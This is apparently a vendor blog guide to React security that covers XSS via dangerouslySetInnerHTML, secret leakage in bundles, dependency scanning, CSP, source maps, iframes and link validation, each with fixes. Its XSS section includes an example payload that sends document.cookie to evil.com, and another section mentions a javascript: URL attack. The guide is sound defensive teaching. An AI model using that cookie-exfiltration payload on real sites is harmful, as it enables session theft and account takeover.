Web Security

React Security Best Practices: XSS, Secrets, and Dependency Safety

React apps face unique security challenges — from dangerouslySetInnerHTML misuse to accidental secret leakage in bundles. This guide covers every major React security risk with practical fixes.

August 18, 20257 min readShipSafer Team

React's declarative rendering model provides built-in XSS protection for the common case, but the moment you step outside React's controlled rendering — or let secrets slip into your bundle — the attack surface expands quickly. Frontend security is frequently deprioritized because it feels less dangerous than server vulnerabilities, but client-side flaws lead to data theft, account takeover, and reputational damage just as often.

This guide covers every significant React security concern with actionable mitigations.

1. The dangerouslySetInnerHTML Risk

React's name for this prop is intentional: dangerouslySetInnerHTML bypasses React's escaping and injects raw HTML directly into the DOM. If that HTML contains any attacker-controlled content, you have a stored or reflected XSS vulnerability.

// DANGEROUS
function Comment({ content }: { content: string }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// If content = '<img src=x onerror="fetch(`https://evil.com/?c=${document.cookie}`)">'
// The attacker exfiltrates the user's cookies.

When You Actually Need It

Sometimes you have legitimate HTML — a rich-text editor output, a CMS field with formatted content. In those cases, sanitize with DOMPurify before rendering:

npm install dompurify
npm install --save-dev @types/dompurify
import DOMPurify from 'dompurify';

function SafeRichText({ html }: { html: string }) {
  const sanitized = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
    FORBID_TAGS: ['script', 'object', 'embed', 'form'],
    FORBID_ATTR: ['onerror', 'onload', 'onclick'],
  });

  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

For server-side rendering (Next.js), use isomorphic-dompurify instead, which works in both Node.js and browser environments.

The Default Is Safe — Don't Work Around It

// Safe — React escapes this automatically
function Comment({ content }: { content: string }) {
  return <div>{content}</div>;
}

React converts <, >, &, ", and ' to their HTML entity equivalents in JSX expressions. This is why you almost never need dangerouslySetInnerHTML. If you find yourself reaching for it, first ask whether you can restructure to use standard JSX.

2. Avoiding Secret Leakage in Bundles

This is one of the most common and costly React security mistakes. When you use Create React App, Vite, or Next.js, environment variables prefixed with REACT_APP_, VITE_, or NEXT_PUBLIC_ are embedded into your JavaScript bundle and sent to every client.

# .env
REACT_APP_API_KEY=sk_live_abc123   # ⚠ Every user who visits your site gets this
VITE_STRIPE_SECRET=sk_live_xyz789  # ⚠ Same problem
NEXT_PUBLIC_OPENAI_KEY=sk-...      # ⚠ Catastrophically wrong

Anyone can open DevTools, search the bundle, and extract these values.

The Right Pattern

Secret API calls belong on the server. Your React app should only hold public keys — things you would put on a business card.

// In a Next.js API route or server action:
// app/api/ai/route.ts

export async function POST(request: Request) {
  const { prompt } = await request.json();

  const response = await fetch('https://api.openai.com/v1/chat/completions', {
    method: 'POST',
    headers: {
      Authorization: `Bearer ${process.env.OPENAI_KEY}`, // Server-only — not in bundle
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({ model: 'gpt-4o', messages: [{ role: 'user', content: prompt }] }),
  });

  return Response.json(await response.json());
}
// React component calls your API, not OpenAI directly
async function generateText(prompt: string) {
  const res = await fetch('/api/ai', {
    method: 'POST',
    body: JSON.stringify({ prompt }),
  });
  return res.json();
}

In Next.js, use the server-only package to hard-fail at build time if a server-only module is accidentally imported into a client component:

// lib/openai.ts
import 'server-only';
export const openai = new OpenAI({ apiKey: process.env.OPENAI_KEY });

Auditing Your Bundle

Periodically inspect what made it into your production build:

# Search the Next.js build output for secrets
grep -r "sk_live" .next/static/
grep -r "sk-" .next/static/

# For CRA or Vite builds
grep -r "sk_live" build/static/

Consider adding a CI step that runs these checks before deployment.

3. Dependency Scanning

Your React app includes dozens or hundreds of npm packages. Any one of them can introduce vulnerabilities.

# Check for known vulnerabilities
npm audit

# Fail CI on high-severity issues
npm audit --audit-level=high

Set up automated dependency updates:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10

For deeper analysis, tools like Snyk or Socket.dev scan transitive dependencies and even detect suspicious package behaviors (like a package that was recently transferred to a new maintainer and immediately started exfiltrating data — a supply chain attack pattern).

4. Content Security Policy with React

A Content Security Policy (CSP) limits which scripts, styles, and resources the browser will load, providing a second line of defense if XSS does occur.

For React SPAs, the challenge is that inline scripts and styles are common. The best approach is to use nonces — a random value generated per request that authorizes specific inline scripts.

// next.config.ts (Next.js)
import { NextConfig } from 'next';
import crypto from 'crypto';

const nextConfig: NextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'nonce-NONCE_PLACEHOLDER'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self'",
              "object-src 'none'",
              "base-uri 'self'",
              "frame-ancestors 'none'",
            ].join('; '),
          },
        ],
      },
    ];
  },
};

export default nextConfig;

For Create React App or Vite, set the CSP via your server or CDN (Vercel, Netlify, or nginx).

5. Source Map Exposure

React build tools generate source maps (.map files) to help with debugging. If these are deployed to production with your app, attackers can read your original, unminified source code — including comments, variable names, and sometimes hardcoded values.

# Check if source maps are publicly accessible
curl -I https://yourapp.com/static/js/main.abc123.js.map

For Create React App:

# Disable source maps in production
GENERATE_SOURCEMAP=false npm run build

For Vite:

// vite.config.ts
export default defineConfig({
  build: {
    sourcemap: false, // or 'hidden' to generate but not serve them
  },
});

For Next.js:

// next.config.ts
const nextConfig = {
  productionBrowserSourceMaps: false, // default is false
};

If you need source maps for error tracking (Sentry, etc.), use "hidden" source maps: generate them but upload to your error tracker and do not serve them publicly.

6. Iframe Security

If your React app embeds iframes from third parties, or if your app is embedded by others, configure these headers:

// Prevent your app from being embedded in iframes (clickjacking defense)
// next.config.ts
headers: [
  { key: 'X-Frame-Options', value: 'DENY' },
  { key: 'Content-Security-Policy', value: "frame-ancestors 'none'" },
]

When embedding third-party iframes in your app, use the sandbox attribute to restrict what the iframe can do:

function ThirdPartyWidget({ src }: { src: string }) {
  return (
    <iframe
      src={src}
      sandbox="allow-scripts allow-same-origin"
      // Omit allow-forms, allow-popups, allow-top-navigation unless required
      referrerPolicy="no-referrer"
      loading="lazy"
    />
  );
}

7. Secure Links and Navigation

// DANGEROUS — javascript: URLs execute in the page context
function UserLink({ url }: { url: string }) {
  return <a href={url}>Visit</a>; // attacker sends: javascript:fetch(...)
}

// Safe — validate the URL protocol
function SafeLink({ url }: { url: string }) {
  const safe = url.startsWith('https://') || url.startsWith('http://');
  if (!safe) return <span>Invalid link</span>;

  return (
    <a href={url} rel="noopener noreferrer" target="_blank">
      Visit
    </a>
  );
}

Always add rel="noopener noreferrer" to external links with target="_blank". Without noopener, the opened tab can access your page via window.opener.

8. React-Specific Security Linting

Add security-focused ESLint rules:

npm install --save-dev eslint-plugin-react eslint-plugin-security
{
  "extends": [
    "plugin:react/recommended",
    "plugin:security/recommended"
  ],
  "rules": {
    "react/no-danger": "error",
    "react/no-danger-with-children": "error"
  }
}

The react/no-danger rule flags every use of dangerouslySetInnerHTML, forcing a conscious decision each time.

Summary

RiskMitigation
XSS via dangerouslySetInnerHTMLDOMPurify sanitization before render
Secret leakage in bundleServer-side API calls; avoid NEXT_PUBLIC_/REACT_APP_ for secrets
Vulnerable dependenciesnpm audit, Dependabot, Snyk
No CSPConfigure CSP headers with nonces
Source map exposureDisable production source maps or use hidden maps
ClickjackingX-Frame-Options: DENY + frame-ancestors 'none'
Open external linksrel="noopener noreferrer" on target="_blank"
javascript: URL injectionValidate URL protocol before rendering in href

React gives you a strong foundation, but it cannot protect you from architectural decisions — like calling secret APIs from the client, or rendering unescaped HTML. The most effective security stance is to treat every piece of user input as hostile and every secret as server-only.

react
xss
security
frontend security
dependency scanning

Check Your Security Score — Free

See exactly how your domain scores on DMARC, TLS, HTTP headers, and 25+ other automated security checks in under 60 seconds.